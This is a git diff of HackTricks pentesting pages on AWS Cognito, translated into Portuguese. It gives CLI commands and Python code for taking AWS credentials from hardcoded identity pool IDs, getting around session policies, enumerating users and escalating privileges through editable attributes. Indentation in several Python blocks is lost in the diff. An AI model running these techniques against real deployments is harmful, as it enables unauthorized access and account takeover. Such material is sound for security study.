$ pip install cognito-scanner ``` - -#### Usage - +#### Uso ```bash $ cognito-scanner --help ``` +Para mais informações, consulte https://github.com/padok-team/cognito-scanner -For more information check https://github.com/padok-team/cognito-scanner +## Acessando Funções IAM -## Accessing IAM Roles +### Não Autenticado -### Unauthenticated - -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +A única coisa que um atacante precisa saber para **obter credenciais AWS** em um aplicativo Cognito como usuário não autenticado é o **ID do Pool de Identidade**, e esse **ID deve estar codificado** no **aplicativo** web/móvel para que ele o utilize. Um ID se parece com isso: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (não é passível de força bruta). > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> A **função IAM Cognito não autenticada criada via** é chamada por padrão de `Cognito_Unauth_Role` +Se você encontrar um ID de Pool de Identidade codificado e ele permitir usuários não autenticados, você pode obter credenciais AWS com: ```python import requests @@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +Ou você poderia usar os seguintes **aws cli commands**: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> Note que, por padrão, um usuário cognito **não autenticado NÃO PODE ter nenhuma permissão, mesmo que tenha sido atribuída via uma política**. Verifique a seção a seguir. -### Enhanced vs Basic Authentication flow +### Fluxo de Autenticação Aprimorado vs Básico -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá apenas que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços). +No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver o "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> Se você receber este **erro**, é porque o **fluxo básico não está habilitado (padrão)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/). -### Authenticated +### Autenticado > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> Lembre-se de que **usuários autenticados** provavelmente terão **permissões diferentes**, então se você puder **se inscrever dentro do aplicativo**, tente fazer isso e obtenha as novas credenciais. -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +Pode haver também **funções** disponíveis para **usuários autenticados acessando o Pool de Identidade**. -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +Para isso, você pode precisar ter acesso ao **provedor de identidade**. Se for um **Cognito User Pool**, talvez você possa abusar do comportamento padrão e **criar um novo usuário você mesmo**. > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_Auth_Role` -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Pool de Identidade (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Obtenha o identity_id da resposta do comando anterior
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# No IdToken você pode encontrar funções às quais um usuário tem acesso por causa dos Grupos do User Pool
+# Use o --custom-role-arn para obter credenciais para uma função específica
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** que o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..19abb7d38 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,32 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +Um pool de usuários é um diretório de usuários no Amazon Cognito. Com um pool de usuários, seus usuários podem **fazer login em seu aplicativo web ou móvel** através do Amazon Cognito, **ou federar** através de um **provedor de identidade** (IdP) de terceiros. Se seus usuários fizerem login diretamente ou através de um terceiro, todos os membros do pool de usuários têm um perfil de diretório que você pode acessar através de um SDK. -User pools provide: +Os pools de usuários fornecem: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- Serviços de registro e login. +- Uma interface web personalizável e integrada para fazer login de usuários. +- Login social com Facebook, Google, Login com Amazon e Sign in with Apple, e através de provedores de identidade SAML e OIDC do seu pool de usuários. +- Gerenciamento de diretório de usuários e perfis de usuários. +- Recursos de segurança, como autenticação multifatorial (MFA), verificações de credenciais comprometidas, proteção contra tomada de conta e verificação de telefone e e-mail. +- Fluxos de trabalho personalizados e migração de usuários através de gatilhos AWS Lambda. -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +O **código-fonte** das aplicações geralmente também conterá o **ID do pool de usuários** e o **ID da aplicação cliente**, (e às vezes o **segredo da aplicação**?) que são necessários para um **usuário fazer login** em um Pool de Usuários Cognito. -### Potential attacks +### Ataques potenciais -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **Registro**: Por padrão, um usuário pode se registrar, então ele poderia criar um usuário para si mesmo. +- **Enumeração de usuários**: A funcionalidade de registro pode ser usada para encontrar nomes de usuários que já existem. Essa informação pode ser útil para o ataque de força bruta. +- **Força bruta de login**: Na seção [**Autenticação**](cognito-user-pools.md#authentication) você tem todos os **métodos** que um usuário tem para **fazer login**, você poderia tentar forçar a entrada **encontrar credenciais válidas**. -### Tools for pentesting - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +### Ferramentas para pentesting +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), agora inclui os módulos `cognito__enum` e `cognito__attack` que automatizam a enumeração de todos os ativos Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.\ +Para uma descrição das funções dos módulos, veja a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo criação indesejada de contas e oracle de contas. Confira [este link](https://github.com/padok-team/cognito-scanner) para mais informações. ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): Este script permite enumerar atributos válidos para usuários. ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## Registro -## Registration - -User Pools allows by **default** to **register new users**. - +User Pools permite por **padrão** **registrar novos usuários**. ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### Se qualquer um pode se registrar -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +Você pode encontrar um erro indicando que você precisa **fornecer mais detalhes** sobre o usuário: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +Você pode fornecer os detalhes necessários com um JSON como: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +Você também pode usar essa funcionalidade para **enumerar usuários existentes.** Esta é a mensagem de erro quando um usuário já existe com esse nome: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> Note no comando anterior como os **atributos personalizados começam com "custom:"**.\ +> Também saiba que ao registrar você **não pode criar novos atributos personalizados para o usuário**. Você só pode atribuir valor a **atributos padrão** (mesmo que não sejam obrigatórios) e **atributos personalizados especificados**. +Ou apenas para testar se um id de cliente existe. Este é o erro se o client-id não existir: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### Se apenas o administrador puder registrar usuários -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +Você encontrará esse erro e não poderá registrar ou enumerar usuários: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` - ### Verifying Registration -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito permite **verificar um novo usuário verificando seu e-mail ou número de telefone**. Portanto, ao criar um usuário, geralmente será necessário pelo menos o nome de usuário e a senha e o **e-mail e/ou número de telefone**. Basta definir um **que você controla** para que você receba o código para **verificar sua** conta de usuário **recém-criada** assim: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> Mesmo que **pareça que você pode usar o mesmo e-mail** e número de telefone, quando você precisar verificar o usuário criado, o Cognito reclamará sobre o uso das mesmas informações e **não permitirá que você verifique a conta**. -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### Escalação de Privilégios / Atualizando Atributos +Por padrão, um usuário pode **modificar o valor de seus atributos** com algo como: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### Privesc de atributo personalizado > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> Você pode encontrar **atributos personalizados** sendo usados (como `isAdmin`), pois por padrão você pode **mudar os valores dos seus próprios atributos**, você pode ser capaz de **escalar privilégios** mudando o valor você mesmo! -#### Email/username modification privesc +#### Privesc de modificação de email/nome de usuário -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +Você pode usar isso para **modificar o email e o número de telefone** de um usuário, mas então, mesmo que a conta permaneça verificada, esses atributos estão **definidos como não verificados** (você precisa verificá-los novamente). > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> Você **não poderá fazer login com email ou número de telefone** até que os verifique, mas você poderá **fazer login com o nome de usuário**.\ +> Note que mesmo que o email tenha sido modificado e não verificado, ele aparecerá no Token de ID dentro do **campo** **`email`** e o campo **`email_verified`** será **falso**, mas se o app **não estiver verificando isso, você pode se passar por outros usuários**. -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> Além disso, note que você pode colocar qualquer coisa dentro do campo **`name`** apenas modificando o **atributo name**. Se um app **estiver verificando** **aquele** campo por algum motivo **em vez do `email`** (ou qualquer outro atributo), você pode ser capaz de **se passar por outros usuários**. +De qualquer forma, se por algum motivo você mudou seu email, por exemplo, para um novo que você pode acessar, você pode **confirmar o email com o código que recebeu naquele endereço de email**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +Use **`phone_number`** em vez de **`email`** para alterar/verificar um **novo número de telefone**. > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> O administrador também pode habilitar a opção de **login com um nome de usuário preferido pelo usuário**. Note que você não poderá alterar este valor para **qualquer nome de usuário ou preferred_username já em uso** para se passar por um usuário diferente. -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### Recuperar/Alterar Senha +É possível recuperar uma senha apenas **sabendo o nome de usuário** (ou email ou telefone é aceito) e tendo acesso a ele, pois um código será enviado lá: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> A resposta do servidor sempre será positiva, como se o nome de usuário existisse. Você não pode usar este método para enumerar usuários +Com o código, você pode alterar a senha com: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +Para mudar a senha, você precisa **saber a senha anterior**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` +## Autenticação -## Authentication +Um pool de usuários suporta **diferentes maneiras de autenticar**. Se você tem um **nome de usuário e senha**, também existem **diferentes métodos** suportados para login.\ +Além disso, quando um usuário é autenticado no Pool, **3 tipos de tokens são fornecidos**: O **Token de ID**, o **Token de Acesso** e o **Token de Atualização**. -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. - -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**Token de ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Ele contém declarações sobre a **identidade do usuário autenticado**, como `nome`, `email` e `número_de_telefone`. O token de ID também pode ser usado para **autenticar usuários em seus servidores de recursos ou aplicações de servidor**. Você deve **verificar** a **assinatura** do token de ID antes de confiar em qualquer declaração dentro do token de ID se você usá-lo em aplicações externas. +- O Token de ID é o token que **contém os valores dos atributos do usuário**, mesmo os personalizados. +- [**Token de Acesso**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Ele contém declarações sobre o usuário autenticado, uma lista dos **grupos do usuário e uma lista de escopos**. O propósito do token de acesso é **autorizar operações de API** no contexto do usuário no pool de usuários. Por exemplo, você pode usar o token de acesso para **conceder ao seu usuário acesso** para adicionar, alterar ou excluir atributos do usuário. +- [**Token de Atualização**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Com tokens de atualização, você pode **obter novos Tokens de ID e Tokens de Acesso** para o usuário até que o **token de atualização se torne inválido**. Por **padrão**, o token de atualização **expira 30 dias após** o usuário da sua aplicação fazer login no seu pool de usuários. Quando você cria uma aplicação para seu pool de usuários, pode definir a expiração do token de atualização da aplicação para **qualquer valor entre 60 minutos e 10 anos**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +Este é o fluxo de autenticação do lado do servidor: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- O aplicativo do lado do servidor chama a **operação da API `AdminInitiateAuth`** (em vez de `InitiateAuth`). Esta operação requer credenciais da AWS com permissões que incluem **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`**. A operação retorna os parâmetros de autenticação necessários. +- Depois que o aplicativo do lado do servidor tem os **parâmetros de autenticação**, ele chama a **operação da API `AdminRespondToAuthChallenge`**. A operação da API `AdminRespondToAuthChallenge` só tem sucesso quando você fornece credenciais da AWS. -This **method is NOT enabled** by default. +Este **método NÃO está habilitado** por padrão. -To **login** you **need** to know: +Para **fazer login**, você **precisa** saber: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- id do pool de usuários +- id do cliente +- nome de usuário +- senha +- segredo do cliente (somente se o aplicativo estiver configurado para usar um segredo) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> Para **poder fazer login com este método**, essa aplicação deve permitir login com `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Além disso, para realizar esta ação, você precisa de credenciais com as permissões **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +Código para Login ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +Este método é outro fluxo simples e **tradicional de autenticação de usuário e senha**. É recomendado **migrar um método de autenticação tradicional** **para o Cognito** e **recomendado** então **desativá-lo** e **usar** o método **ALLOW_USER_SRP_AUTH** em vez disso (já que esse nunca envia a senha pela rede).\ +Este **método NÃO está habilitado** por padrão. -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +A principal **diferença** em relação ao **método de autenticação anterior** dentro do código é que você **não precisa saber o ID do pool de usuários** e que você **não precisa de permissões extras** no Cognito User Pool. -To **login** you **need** to know: +Para **fazer login** você **precisa** saber: - client id - username - password -- client secret (only if the app is configured to use a secret) +- client secret (apenas se o aplicativo estiver configurado para usar um segredo) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> Para **poder fazer login com este método**, esse aplicativo deve permitir login com ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +Código Python para Login ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +Este cenário é semelhante ao anterior, mas **em vez de enviar a senha** pela rede para fazer login, uma **autenticação de desafio é realizada** (portanto, nenhuma senha é transmitida, mesmo que criptografada, pela rede).\ +Este **método está habilitado** por padrão. -To **login** you **need** to know: +Para **fazer login**, você **precisa** saber: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- id do pool de usuários +- id do cliente +- nome de usuário +- senha +- segredo do cliente (apenas se o aplicativo estiver configurado para usar um segredo)
-Code to login - +Código para login ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
